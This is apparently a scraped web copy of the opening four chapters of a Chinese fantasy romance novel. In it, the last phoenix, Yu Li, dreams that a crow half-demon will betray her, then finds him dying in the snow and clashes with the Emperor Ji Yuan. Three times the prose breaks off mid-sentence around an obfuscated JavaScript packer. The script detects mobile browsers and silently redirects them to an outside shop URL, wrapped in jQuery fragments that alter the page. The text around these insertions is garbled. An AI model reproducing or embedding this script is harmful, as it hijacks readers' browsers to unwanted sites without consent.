《小凤凰》
1. 第一章
凤山有一棵万年前留下来的梧桐神木。
梧桐神木高千仞,直耸入云,枝叶繁茂,一眼望去根本看不到头,只能见到深绿的树影掩在层层浮云之中。
小凤凰郁离就住在梧桐神木上。
醒来时,窗棂大开着,窗外大雪纷飞,摇曳的树影都盖上一层厚厚的白。
劲厉的寒风拍打着雕花的轩窗,屋内却漏不进一点风,雪片落在窗上,很快融化成雪水。
“小女君,今日您该迟了。”
郁离恹恹睁开凤眸,浅金瞳仁泛着淡淡的微茫,窗外纷飞的雪花落在眼底。
“今日学宫休沐……”郁离声音懒散,眼底还带着一层迷蒙的水雾,话音中带着软软的控诉。
郁离生得好,眉如翠羽,肌如白雪,长睫在眼下洒下一片晕影,此时眼底懒倦,发丝顺着雪白的绸衣滑落。
白羽看得心都软了,放轻了声音,好似声音重一点都是打扰。
“您忘了,今日是羽族冬试。”
白羽向外招手,大门敞开,从外飞进来一串肥嘟嘟的小毛球,它们衔来珠钗、发饰,上下飞舞着为郁离梳头,挽发。
郁离揉着眉心,望着窗外熹微的晨光,恹恹低眉。
“长老院吩咐,今日您定然是要露上一面的,”白羽眉眼弯弯,柔声道。
白羽身形高挑,一边说着话,动作却很利落,三两下为郁离换好衣服。
她一席金红的繁复长裙,既合乎身份,又不显得太过庄重。
郁离仍是没骨头似的靠在软榻上,一头乌发坠地,似是上好的绸缎一般柔顺地披散在身后,她耷拉着眼角,面上透着苍白的冷色。
“女君,没睡好吗?”看着郁离面色苍白,白羽有些担忧。
坐了一会,郁离的思绪已经从混沌的梦境中脱离。
“没什么,只是做了个噩梦。”
在那一场真实得让人无法忽视的梦境里,她捡到一只重伤濒死的寒鸦。
人人都说,那只名为烛夜的寒鸦,血脉驳杂,气息不详。可是在梦里的她,却一意孤行地把他带在身边。
为了救他,不惜珍贵灵材,甚至取心头血为他重塑经脉。
一只卑贱的寒鸦,一跃成了凤山威风赫赫的令主。
甚至在两年后,和她定下婚约。
梦中的许多事,并没有因为梦醒之后变得模糊,反而在眼前日益清晰——
郁离清晰地记得,在他们的结契大典上,瘦削苍白的青年,终于脱下往日的伪装,露出他的真实面目。
脚下繁复诡谲的禁术大阵逐渐成型,他化作遮天蔽日的暗影,伸手洞穿了她的胸膛。
在梦中那种神魂撕裂般的痛觉,真实得就好似她亲身经历过一般。
……可不就是,一场荒诞无稽的噩梦么。
*
冬试仪典,是凤山羽族历年来的传统。
刚化形的羽族少年们,都要站上试炼台,以此来宣告自己已经成年。
各家中新生一代在试炼中的排名,也关于各家族在凤山的实力排序以及接下来一年在族中拿到的资源。
隆冬的寒风如刮骨钢刀,但却无法削减凤山羽族的热情。
试炼场位于凤山的半山腰,这是一片精心开凿出的开阔广场,四周的山壁都被冰雪覆盖,上方升起百座石台,
随着一声清脆的鸟鸣,数只青鸟开道,一辆由青鸾拉动的鸾车缓缓驶向最高处的浮空岛。
试炼场上,顿时爆发出海啸般的欢呼。
“女君……”
“是女君来了!”
随着青鸟衔着车架缓缓落下。
更多人开始欢呼,声音汇聚成海潮,山壁上的积雪簌簌落下。
郁离一席金红长裙缓缓走下鸾车,她的裙裾上绣着精细的凤凰图腾,每一根翎羽都在雪光映照下熠熠反光。
羽族崇尚力量。
凤凰血脉象征着羽族最至高无上的力量,是所有羽族心中最神圣不可侵犯的存在。
凤山之名,原是因为在万年以前,此处是凤凰一族的栖息地,因此羽族尽相迁移来此,才有了“天下羽族正统皆出凤山”一语。
虽然多年以来,凤山早已没有凤凰,郁离正是在万千羽族翘首以盼破壳而出的——
天地间唯一,也是最后的一只凤凰。
齐聚在试炼场上的新生羽族们,仿佛感受到血脉之中的感召和呼唤,纷纷化作原形,向高台上的女君虔诚俯首,
对于这种场合,郁离已经习以为常,华美的裙裾滑过地面,缓缓走向高处,骄矜地微微颔首。
“女君,此次族中有不少的好苗子,您看看,那边是丹鸟家的孩子,还有……”
长老院的十二位长老,原本端坐在长椅上,此时齐齐俯身行礼。
郁离没有抬眼,长睫微垂,把玩着腰侧的珠串,漫不经心地回道:
“没什么好看的,年年都是如此。”
试炼继续,郁离坐在高处,望着远山发呆。
天空又下起了雪,寒风劲厉,漫天雪花失了在屋内看到的散漫温柔,也染上了几分肃杀。
“女君小的时候,每年最期待的就是这个时候。”
长老们望着飞雪,脸上带着感怀,撑开一道灵力罩,让有些喧嚣的雪花不至于侵扰了女君。
“试炼之期快到的时候,您夜里都不睡觉,要趴在神木的枝丫上远远望着试炼台。”
郁离伸出手,纤细冷白的指尖,碰到的不是雪花,而是一层薄膜似的灵力罩。
她轻声道:“那时候,我望着试炼台,想着或许有一天我也能站上试炼台。”
一开始,是长老们不允许。
后来,她则再也无法站上试炼台。
说话的长老意识到说错了话,面色一僵,继而有些懊恼,连忙转移话题。
“小女君,您的身份贵重,这……您看今年的雪,多大!这个,多……多,多喧嚣啊!”
郁离望着纷纷扬扬落下的雪花,眉心微皱。
哪怕是冬日,凤山也罕见这样大的雪。
郁离似乎想起了什么,骤然起身离去,身后一行人匆匆跟上她的脚步。
女君走了,看台上沉默一瞬,眼神颇不赞同地看向说话的人。
“你真是哪壶不开提哪壶。”
另一人道,“好了,要我说,下次就该让他们在开始前一起去梧桐神木下拜见女君,就不必让女君亲自来这试炼场上了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627124|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
试炼继续。
试炼台上的羽族少年,还不知道郁离已经离开了,个个都兴奋异常,想要在女君面前展现出真正的实力,令人眼花缭乱的术法在石台上炸开。
……
落雪无声,唯余风声簌簌。
在那一场真实得让人无法忽视的梦境里,开头也是这样一场难得一遇的大雪。
在梦中,她付出一切,满腔信任,最后却真心错付,落得个凄凉惨死,魂飞魄散的下场。
太荒谬了。
迫不及待地想要应证些什么似的,郁离漫无目的地往外跑,不知不觉已经靠近了凤山结界。
此时又下起了雪,飘洒的雪花模糊了结界线,只余下空茫的一片白。
白羽追上来:“小女君,您要去哪?去叫鸾车吧……”
郁离脚步猛的顿住,她的目光落在不远处。
雪地里,一道人影被雪落了满身,几乎和雪地融为一体,细看之下,才能发现身体还有着微微的起伏。
洋洋洒洒的雪花,像是天然的布景,雪地里的瘦削青年缓缓抬起头,露出一张眼熟得令人心悸的脸。
青年看起来已经虚弱至极,脸颊染血,嘴唇沾满雪花,仰脸的角度,恰好迎着郁离的目光。
——他眼神渴求,仿佛末路的囚徒,苍白的薄唇望着郁离,一开一合。
没有发出声音,却依稀能辨认出他的口型:“……救我。”
看到他抬起头时,郁离感觉自己的呼吸都好似被冻结了。
竟然,真的,一模一样。
和梦境中的场景,梦境中的那个人,甚至说的话,都一模一样。
在和他目光对视的刹那,郁离的心脏,莫名剧烈地开始跳动起来。
“什么人?”白羽手中握紧了短剑,下意识挡在了郁离的面前,冷声斥问。
躺在雪地里的青年没有说话,只是目光执拗地望着郁离。
仿佛知道,她会做什么一般。
郁离抚着激烈跳动的心口,噩梦竟然成真了,心中生出一种竟会如此的荒谬之感。
良久,她的唇边漾出一丝浅笑。
“你是什么东西?”
郁离眼底金光一闪而逝,她微微抬起下巴,却并不显得倨傲,目光挑剔地上下打量着他。
“你怎么长得……”
郁离秀气的眉头蹙起,有些难以接受一般:“这么丑。”
在梦里,郁离为他取心头血,不惜一切为他治伤,先是和长老闹得不可开交,后又和帝君寂渊断绝往来……
居然就是这么个玩意。
就是这一只寒鸦,在未来会骗过所有人,踩着她的伤痕,一步步走到高处。
最后设下逆天改命的阵法,图谋她的神脉和一身灵血。
“疯了吧。”
郁离转过头,喃喃低声。
……
烛夜已经在雪地里埋了一天一夜,并且因为长时间维持同一个姿势,脖子都僵硬得无法屈伸。
看着她满脸不加掩饰的嫌弃,漆黑的眼底闪过一丝愕然,表情控制不住地产生了一条裂缝。
为什么会是这种反应?
她为什么没有第一时间上前把他扶起来?
2. 第二章
心脏剧烈地跳动着。
明明第一眼看见他,就因为和梦境中重合的场景而感到一种陡然而生的危机和戒备之感。
可仅仅只是看着他可怜兮兮地抬起头,心中就陡然生出一种陌生的酸涩之感。
心中生出一种怪异的冲动,让她想要靠近他、把他带回去,然后日日不分离。
这种古怪的感觉,让郁离更加警惕。
郁离上下打量他的目光,挑剔中带着嫌弃。
至于么?
哪来的脏东西,一见面就给她下蛊了是吧?
郁离掐了掐手指,努力让自己冷静下来,良久之后吐出一口气。
“……把他带回去。”
“是,女君。”
在郁离的身后,无声无息地出现几个黑衣羽卫,他们身后张开羽翼,把人带了回去。
梧桐宫内,白雀医很快来了。
走到半路上的时候,青年就已经人事不省地昏迷了。
“女君,这是只半妖……他伤得很重,浑身经脉都断了。他身上,有一半的寒鸦血脉,还有一半妖鬼血脉,是哪个族属,臣暂时没看出来。”
“这,羽族惯常用的药,在他身上恐怕发挥不了多少作用。”
郁离撑着下巴倚在小几上,闻言偏过脸:“他会死吗?”
“这……”白雀医沉吟,“他浑身经脉逆行,寻常手段,救不了。”
“若是放着不管,他恐怕撑不过这个冬日。”
“居然还能活这么久。”郁离蹙眉低声道。
看着一副要死不活的样子,实际上,一时半刻竟还死不了。
“您说什么?”
“没什么,”郁离摆了摆手,随手拿起一本摊开的话本,“救不了就算了。”
如果按照梦中的发展,他恐怕还没那么容易死。
他的本事大着呢。
白雀医看着青年的伤势,疑惑蹙眉:“怎么会搞成这样呢?”
“我还从未见过这样的伤情,倒像是……”
白雀医顿了顿,觉得这种揣测不合常理,于是没有说出口。
“替我也看看。”郁离伸出手。
白雀医欣然应允,“女君身体没有什么异常,只是有些思虑过重,回头给白羽大人送两副安神的方子过来,喝上几天或许能好些。”
郁离收回手,目光若有所思。
没什么异常么……
可是她心跳快得都快蹦出来了。
白雀医道:“女君若是想救他,或许等帝君来了,可以问问他身边的那位月宫少宫主。”
“月宫少宫主的医术,超然近鬼,或许他能有办法。”
白雀医一边为寒鸦包扎外伤,一边似有感慨地说道。
郁离翻书的指尖一顿。
却是想起了在梦境中看到的一幕。
在她被烛夜徒手洞穿胸口的时候,眼底被鲜血染红,整个世界都变成了一片血红,在血红的世界里,她却看见了一个人。
那人身穿一身银铠,戾气逼人。
竟是一剑把凤山传承万年的结界砍了个窟窿,漫山梧桐花都被这一道凛冽剑气搅碎成了漫天的碎红。
在被暗影覆盖的血红天地里,那人孤绝前行,竟成了天地间唯一的亮色。
但是……
怎么会呢?
若是按照梦中的发展,当时他们早已决裂了才是。
怎么会,还来救她。
郁离抿着唇,把话本扣在了桌上。
*
听闻女君在结界外捡了一只寒鸦回来。
羽卫带着人回梧桐宫的动静极大,当时试炼台上的许多人都看见了。
白雀医刚走,得到消息的枭羽御风疾行而来,身上落满雪花,看见守在床前发呆的郁离,面色狠狠一沉。
“小女君,这样一个来历不明的人,”枭羽行过礼,神情严肃,“您怎么能就这样随意地把他带回来?”
郁离没有应声。
看见枭羽长老顶着一张沉默严肃的脸出现时,心中生出一种果然如此的感慨。
枭羽声线沉沉:“自从妖雾降世,四海八荒格局大变,凤山彻底与外界封闭,就是为了防止外面的妖魔入侵。”
“如果被高危的妖魔潜入凤山,在这里大肆屠戮,不知会有多少人遭遇不测。”
枭羽眼中带着忌惮,话里话外,就差直说此人身份不明,或是妖鬼伪装混进来的。
“但我们看到他时,他的半边身子已经越过了结界,”郁离歪了歪头,“说来也不完全算是从外面捡回来的。”
“凤山结界运转万年从未出过差错,想必不会放任一只妖鬼就这样爬进来。”
郁离十分清楚,烛夜就是冲着她来的。
而且他身上,必定有古怪。
只是这些话没必要对长老说,不然以长老们总是过分紧张的脾性,这件事恐怕会闹得人尽皆知。
枭羽深呼一口气,努力让自己的情绪平复下来:“小女君,您是千金贵体,凤凰血脉……”
郁离接道:“凤凰血脉,不容有失。”
“是,您也知道。”枭羽被打断,一愣。
郁离轻笑一声,面色显出几分病态的苍白,她眼底却没什么笑意。
这样的话,她从小到大听了不知道多少回。
郁离幼年因为血脉反噬,显得格外体弱,总是一脸随时有可能夭折的模样。
因为怕苦不愿意吃药,长老们日日在她耳边说:女君,凤凰血脉不容有失,您一定要珍重自身。
“凤凰血脉,不容有失。”这句话被长老们奉为圭臬,日日耳提面命。
郁离一刻不敢忘记。
枭羽也算是看着郁离长大,望着她过分苍白的脸,清凌凌的瞳仁就这样望着他,枭羽心中一软,无奈叹息一声。
“小女君,您太过心善了,”枭羽神情凝重,“外面世道乱,半妖血脉又最是狡诈阴险,这样的东西……您不能什么来历不明的垃圾都往回捡。”
枭羽既操心又上火,一边欣慰小女君的心善,一边又忧心她太过容易轻信别人。
郁离心中涌起一丝复杂的情绪,此时此刻,长老说的每一句话都和梦中对应。
在梦中,他们因此爆发了一场激烈的争吵。
这也是郁离长这么大,第一次和养育她长大的长老争得面红耳赤。
……为了一只寒鸦。
想着梦境中,枭羽最后难以置信又失望的神情,郁离心中有些难受。
枭羽虽然是长老院中性子最为古板严肃的一个,但在幼时,也曾将她抱在怀里,不熟练地挤出笑脸,哄她吃药。
“小女君,你……”枭羽还在滔滔不绝地劝导着,力图劝得小女君迷途知返,让这只寒鸦回到他该待的地方,但袖口却突然被人攥住了。
枭羽话音一顿,垂眼看见郁离攥住了他的袖口,她晃了晃袖口,软声道:“知道了,阿耶,我有分寸。”
霎时,枭羽脸涨得通红,但这次却不是气的,结结巴巴道:“是,是,小女君……小女君向来是有分寸的。”
枭羽心底软成一团,原本要说些什么也忘了个干净,脑子里像是塞满了棉花,飘飘然好像飞到了天上去。
脑海里,一下子就浮现出郁离小时候的样子。
早年凤凰神鸟,在当年的那一场妖乱之中以身成阵,平息妖乱,身体骸骨都化为了灰烬,只留下了一颗凤凰蛋。
这颗凤凰蛋,在梧桐神树上吸收了几千年的灵气。羽族臣民千盼万盼,才盼来了凤凰蛋的一丝动静。
彼时长老院十二人,既期待,又忐忑。
谁知凤凰蛋破壳,从里面走出来一个稚气未脱的小团子,追着他们奶声奶气地叫阿耶。
纵使这些年,小女君待他们早不似往年的亲近,有时也会爆发争吵。
可是此时,听着郁离如同幼年一般唤出的一声“阿耶”,枭羽不是什么感性的人,此时眼眶也忍不住地有些微红。
罢了,小女君也不过三百岁,在他们羽族,还算是幼崽呢。
“已经派人去查他的来历了,若是身份没问题,小女君又喜欢,那便留在凤山。”
“只是梧桐神木之上,小女君您的身侧,绝容不下这等血脉驳杂低贱之辈,不如……”
这种肮脏的东西,怎么能留在女君的身边。
枭羽一边说,一边观察着郁离的神色。
郁离没什么异议,“好,就把他移到外围的院子里去。”
“欸!”枭羽笑了,脸上的皱纹都堆积在一起,“羽族幸甚,得此英明睿智又心地善良的女君!”
白羽:“……”
早知道长老院这群人,表面上严肃,背地里都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627125|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小女君的死忠粉。
乍一见到这种变脸时刻,也还是有些难以接受。
枭羽来时满脸凝重,走时如沐春风,顺带着,还把躺在床上没有知觉的人给抬走了。
人一走,屋内顿时清静不少。
在白羽忙着收拾床铺的时候,冷不丁听到身后的女君声音幽幽地问了一句:“白羽,你觉得他长得怎么样?”
口中这个“他”指的是谁,自然不言而喻。
白羽皱眉,总觉得那只寒鸦身上,充满了令人不喜的气息。
但是观察着郁离的神态,斟酌词句道:“寒鸦一族,有几个长得周正的?不是歪瓜裂枣就是嘴歪眼斜……”
“刚刚那个嘛,勉强算个周正的,”白羽眼底的嫌弃不言而喻,“但是莫名让人感觉很不喜。”
“是吗?”郁离手指翻飞,把玩着手中的发钗,“那你看见他会生出什么别的感觉吗?”
“什么感觉?”白羽挑眉,“想叉死他,给他丢得远远的,最好永远都看不见……算吗?”
“……”
郁离抚着心口,鼓动的心脏此时已经平复下来,却隐隐有一种想要去找他,想要陪在他身边的古怪冲动。
雪白的俏脸上霜寒一片,连带着枕风漱玉的声音也染上几分寒凉:“你看见他,会不会心跳加速,会不会下意识地想要靠近他?”
白羽哼着歌整理着床榻,只想赶紧把上面那些讨人厌的气息全部清理干净。
闻言,她动作一滞,瞪大了双眼,满脸不可置信地回头:“小女君,你……”
“会吗?”郁离偏了偏头。
白羽感觉舌头有些打架,一时不知该怎么回答。
她该怎么说?
小女君您这是,情窦初开,对一只刚见面的寒鸦一见钟情了?
可之前,小女君不还说他丑么!
把脑海中那些纷乱的想法抛开,白羽干笑两声,磕巴着回道:“小女君,您该喝药了。”
“今日天冷,在外面或许是被冻坏了,有时候就会生出一些奇怪的想法。”
“没事,喝了药,睡一觉就好了。”
郁离眨了眨眼睛,狭长的凤眸观察着白羽的神态,看她眼底不加掩饰的震惊和骇然,心底明了。
好像明白了,这种奇怪的感觉,只她一个人有。
所以……
她这种反常的反应,是中了毒,还是生了病,还是发了失心疯?
亦或是,那只寒鸦身上,带了什么东西?
还是只对她一个人生效的。
白羽担心小女君是不是真的被冻坏了脑子,熬了一碗浓浓的驱寒甜汤,喂郁离喝下。
隆冬的雪天,连天幕也是阴沉沉的,白羽在屋外守着,心乱如麻。
“白羽?怎么在外面,小女君睡下了吗?”一道人影出现在眼前,落下一片阴影。
白羽眼前一亮:“哥,这次怎么去了这么久。”
“嗯,遇到点麻烦事。”
墨羽应了一声,他虽是女君的近卫首领,有时也需要外出执行长老院下达的命令。
总算找到人可以说话。
白羽愁眉苦脸地向他复述了一遍方才女君的问话,长叹一口气,满脸忧愁:“哥,你说女君是不是……”
“对那只刚捡回来的寒鸦一见钟情了?”
“怎么会有这种事呢?”白羽低着头,懊恼地说,“是不是你之前去外城买的那些话本子,我就说里面那些故事不像是正常人能写出来的。”
“偏偏女君又爱看。”
“不会看坏了脑子吧?”
白羽满脑子都是之前小女君问话时忧郁的神情,感觉天都塌了,一时也没有注意到墨羽比平日里还要寡言少语,此时更是满脸的木然。
“你怎么不说话?”白羽踹了他一脚。
还未等到墨羽的回应,她忽然听到一声冷笑,声音来自墨羽的身后。
白羽看着墨羽退开半步,让出身后的一行人。
看清来人,白羽心里咯噔一跳,连忙俯身行礼。
“凤山白羽,拜见帝君。”
寂渊伫立雪中,连风雪都不敢近身,此时他面上的霜意,却比这隆冬的大雪,还要冷上几分。
“一见钟情?”风雪中,众人听到一声森寒彻骨的轻笑。
“什么东西,凭他也配?”
3. 第三章
烛夜最后被安置在凤山靠近外围的一处无人院落。
原本人迹罕至的院外,此时已经挤满了人,多是得到消息来看热闹的。
听说女君在结界外捡回来一只重伤濒死的低贱寒鸦,今日不用参加试炼的羽族都闻风而来。
但还没看清个子丑寅卯,就感到一种莫可名状的强大气机锁定了整个院落。
漫天雪花停滞在半空,被一道悍然无匹的力量搅碎,化作了带着可怖杀机的锋利冰晶,被劲厉的寒风裹挟,呼啸着疾射入屋内。
年久失修的屋顶被悍然的气流掀飞,门窗被数不清的冰晶洞穿,发出不堪重负的一声闷响,倒在了地上。
纵使还没见到来人,仅仅是这力量透露出的恐怖威压和杀机,就已经让人毛骨悚然。
这样的力量……
恐怕是帝君来了。
众人心中都有了猜测,顿时多了几分畏惧,生怕被这股力量波及,人群顿时作鸟兽散。
寂渊一头雪发立于风雪,踩着飒飒风声,周身带着凛然不可侵犯的神性,漠然垂眸,身上威压如同山呼海啸般压得人喘不过气。
跑得慢的,捂着胸口呕出一口腥甜的血,情急之下化出翅膀,东倒西歪地飞远了。
屋舍破败,只余下断壁残垣,躺在简陋木床上的青年面色苍白。
谢清晏皱眉,几乎已经能看见几息之后里面的青年被“万箭穿心”的惨样。
他上前一步劝阻:“帝君,这里还是凤山地界,就算是要动手,也应该让长老院出手,您……”
月殊把玩着手中玉质的药壶,身上挂满的银饰发出叮铃的脆响,他附和道,“他身上有多处致命伤,此时又是经脉逆行,就算放着不管也活不了多久了。”
寂渊眼底浓重的戾气并未因此散去,声线冷硬:“让开。”
“今日替凤山清理门户。”
寂渊拧眉,眼底深沉如古井,随着话音落下,被搅碎的冰晶凝成冰矛,带着无可抵挡的杀机,锁定了躺在木床上的身影。
谢清晏还要再劝,月殊拉住了他,对着他摇了摇头。
凤山试炼场距离这边不远,此处动静巨大,凤山长老们不可能没有察觉。
此时他们都没有出面干预,约莫都远远地观察着事态发展,静观其变——
换言之,他们也并不在意这只寒鸦的生死。
谢清晏叹息一声,平心而论,帝君平日里虽然冷了些,性情却并不算暴戾,今日不知怎的,发了这么大的火。
郁离乘鸾车到时,看见的就是这样一幅景象。
遍地残垣之中,一只原形散发着不详黑气的寒鸦被冰刃洞穿胸口,在冷厉寒光之中不断挣扎。
寂渊伫立风雪,漠然垂眸,黑沉沉的眼底辨不出喜怒。
“就这么个玩意,郁离,你脑子坏了,眼睛也瞎了?”
郁离刚睡下,就被白羽急匆匆地唤醒。
此时内里只穿着的寝衣,外面随意披了单薄的外衣,刚要提裙走下鸾车,就被外面刮骨的寒风吹得颤了一下。
她脚步一顿,倚在车门上,没有再往外走。
寂渊双眸微眯,目光沉沉地注视着她,眼底神色更冷,“就这么急着过来救他?”
郁离拢了拢外衣,眼角还带着一丝懒散的倦意。
她唇角下压,仿佛没感觉到他周身压抑危险的威压,呼出一口白气,皱眉望着他低声抱怨:“好冷啊。”
来得匆忙,被冷风一吹,郁离冻得嘴唇发白,说话时,声音发着颤。
院落破败,只余下断壁残垣,冷风呼啸着吹过,寂渊一出手,这座地界的空气都好似被冰封了一般,寒气直往骨子里钻。
鲜有人知的是,郁离身怀世间异火之首的凤凰火,身体却极其畏寒。
看了一眼在寒光中挣扎的寒鸦,郁离嫌弃地蹙眉,她撇了撇嘴,毫不犹豫地扭头回了鸾车。
“进来说话。”
小凤凰扔下这么一句,鸾车雕花的门就“嘭”地一声在面前关上了。
“……”
谢清晏几人看得咂舌,面面相觑。
居然有人敢在帝君面前摔门?
更离奇的是……帝君不仅没生气,甚至还莫名其妙地笑了一声??
是他看错了还是这个世界太癫了??
寂渊面上冷意不减,整个院落之内的冰雪却开始消融
——就连插在那只寒鸦胸口的冰刃,也不例外。
谢清晏几人松了一口气,好歹算是气消了。
若是众目睽睽之下,帝君在凤山地界开了杀戒,传出去不好听。
帝君威压一消失,白羽就带着一众医官来了,月殊提起药壶跟过去查看伤势。
鸾车内。
作为郁离平日出行的车架,鸾车外表看着不大,内里却如同一座小宫殿,床榻桌椅,一应俱全。
郁离刚要坐到软垫上,另一道身影就裹着一身风雪冲了进来,占了她原本的位置。
寂渊身姿颀长,此时面如寒山,周身染着肃杀之气,坐在这金玉堆成的软榻上,看起来与整个环境并不相称。
甚至他往那一坐,整个鸾车内的空间都显得逼仄起来。
“你干嘛跟他过不去,不过是一只寒鸦,跟凤山别的羽族别的鸟没有什么不一样。”郁离抿唇抱怨。
寂渊冷冷一笑:“不是对他心跳加速一见钟情,然后就要把他带回来?”
“……我可没这么说,”郁离别过脸,“我只是看他可怜。”
寂渊目光如炬,面色沉冷如霜:“可怜?”
他嗤笑一声,“外面个个都可怜,你个个都要往回捡?”
“好了……”郁离抿了抿唇,给他倒了一杯茶,雾气袅袅,手按在茶盏上。
“你干嘛这么大的火气,被妖气熏得失去理智了?”
听闻昆仑墟最近在清扫凤山以西的妖雾,寂渊才从妖雾里出来,带着一身凶戾之气。
寂渊险些被她熟练的倒打一耙气笑。
“我看你才是失去理智了。”
“真是什么东西都敢往回捡。”
郁离抬眼望着他,眼底金光流转,看上去非人的气息十分浓重。
只是她模样生得好,这双眼睛,落在她脸上并不显得奇怪,反而多出几分妖异若神的艷美。
她的手指搭在茶盏上敲了敲。
白皙纤长的手指莹白如玉,和蓝底青花的茶盏看起来极为相得益彰,郁离把茶盏往前推了推,意有所指地问:
“要不要?”
凤凰灵血,能压制妖气对人神智的影响。
一滴,提神醒脑。
这点,寂渊是知道的。
“……”
寂渊喉头滚动,拨开她的手,镇定自若地端起茶一口饮尽。
“用不着。”
无形之间,周身的凛冽杀意几乎散了个干净。
“哦。”郁离从善如流。
自觉气氛缓和了许多,郁离抬手拆了随手挽的发髻,满头绸缎似的黑发倾泻而下,从小橱里扒拉出几个软枕,懒散地靠了上去。
寂渊目光沉沉,当事人却毫无自知之明,还当着他的面懒懒打了个哈欠。
“好巧哦,刚梦到你,你就来了。”
郁离打了个哈欠,浅金瞳孔中盈上一层水汽,声音懒散,不动声色地开始转移话题。
寂渊冷哼一声,面色稍好些,却仍是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627126|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷冷一笑:“哦,不是梦到你的情郎?”
“凤山郁离,绝不外嫁,我观他上下,并无可取之处,不过皮相尚可。”
“你要选他,未免眼光也太差了些。”
话音未落,郁离呸呸呸打断:“你在说什么,真晦气。”
虽然知道他是在故意嘲讽,但是谁能想到,在梦里,这句话竟然成真了。
郁离面色不好,又想起来梦里的场景。
寂渊出现时,他的状态很不好。
他的脸上,有一道深紫色纹路,狰狞而显眼地占据了半张脸,无端显得邪气森森。
“寂渊,”郁离忽然凑近,像是想确认什么一般,一缕发丝顺着擦过他的脸颊,“你说,什么样的人脸上会出现紫色的裂纹。”
两人的距离瞬间拉得极近,近至呼吸可闻,郁离仔细地观察着他的脸上,还用手指擦了擦。
皮肤细腻均匀,色如白羽,没有什么异样的纹路。
寂渊眉头猛地跳动两下,声线沉闷,暗含警告:“郁、离。”
“哦,我只是看看。”郁离头一缩,老实地坐回去。
只是仍撑着下巴,目光梭巡,仿佛在寻找着什么一般。
寂渊深呼一口气,按下心底那些微妙的不自在:“脸上出现的紫色裂纹,是腐化印记。”
“心神不守之时被妖雾浸染,神魂受损,腐化程度过深就会出现腐化印记,等到腐化印记布满躯体,就是彻底丧失理智的时候。”
腐化印记。
郁离心中发愁。
就像每次,寂渊从妖雾里出来时,状态都不太好,看起来戾气深重。
这也是妖雾浸染的一种状态。
这好似也并不奇怪。
但是怎么会呢?他不是天授帝君吗?
“谁脸上出现腐化印记了?”寂渊问。
郁离垂眸,声音有些淡:“没有,我梦到你半边脸都是那种紫色裂纹,好丑。”
屋内熏炉染着花香,隔去外面的风雪。
此时的寂渊,就松风不动的坐在面前,雪发垂落,沉静地望着手中的茶盏,半点没有半刻钟之前还在大动干戈的危险杀气。
“怎么不盼我点好的?”他眉头微蹙,“郁离,你少咒我。”
她在替他担心。
这个认知,令寂渊不由得心底一软。
他抬手揉了揉郁离的头顶,冷如碎冰的声音也带上了几分和煦的温度:“梦都是假的。”
“更何况……”
想起方才郁离按着茶盏的指尖,寂渊声音带上一丝喑哑:“我们是合作关系,不是吗?”
只要有郁离在,他就永远不可能走到被腐化那一步。
郁离知道他的言外之意。
望着他,却想起梦境中两人的结局,指尖蜷缩。
在梦里,他们有这样好好地坐下来聊过吗?
自从她捡到那只寒鸦之后,两人似乎大吵了一架,然后就这样渐行渐远了。
再见面,就是在她和寒鸦的结契大典上,一人身穿红衣浑浑噩噩,一人一身银甲逆命而来。
整个四海八荒,从没有一个人,需要像他那样频繁地进出妖雾。
他们决裂之后,在他被妖气污染的时候,也没有人能替他净化了。
望着郁离不知为何变得更加低落的目光,寂渊觉得不对,他微微蹙眉,冷声道:“郁离。”
“你不会在想外面那只寒鸦吧?”
“我还好好的,要死不活的,可是外面那个。”寂渊眯起眼睛,越想越觉得有道理,目光狐疑地看她,“你在替他难过?”
郁离:……
眼角刚泛起的朦胧水光,一下子就缩了回去。
4. 第四章
夜里,长老院灯火如昼。
“多亏了帝君此次前来,”大长老笑意吟吟,“西边那片妖雾真是困扰我等已久啊。”
“如今只剩下最初被妖雾入侵的一块药田,那一颗雾核极为危险,我等不敢贸然入内,不知帝君可否……”
寂渊坐在首位,澄明的灯火柔和眉目,看起来比白日少了几分冷硬。
“明日正午,我会入内净化。”
众长老松了一口气。
“那就再好不过了!等一同前往为帝君掠阵。”
正事聊完,一人拍了拍手,成箱的珍宝灵材流水一般送到厅内。
“还有一件要紧事,想拜托帝君。”
“听闻最近昆仑墟之下的禁地并不安稳,帝君也是夙兴夜寐,这些是凤山神木下生长百年的灵药,希望能帮上帝君的一些小忙。”
月殊自小与药材打交道,一眼便知这些都是外面千金难寻的良药,不禁有些咋舌凤山的大手笔。
如此大手笔,所求必定不小。
“四方殿司命测算出,女君将会遭受历年来最强的一次血脉反噬,只是我等无用,羽族血脉在凤凰神脉之前太受压制。”
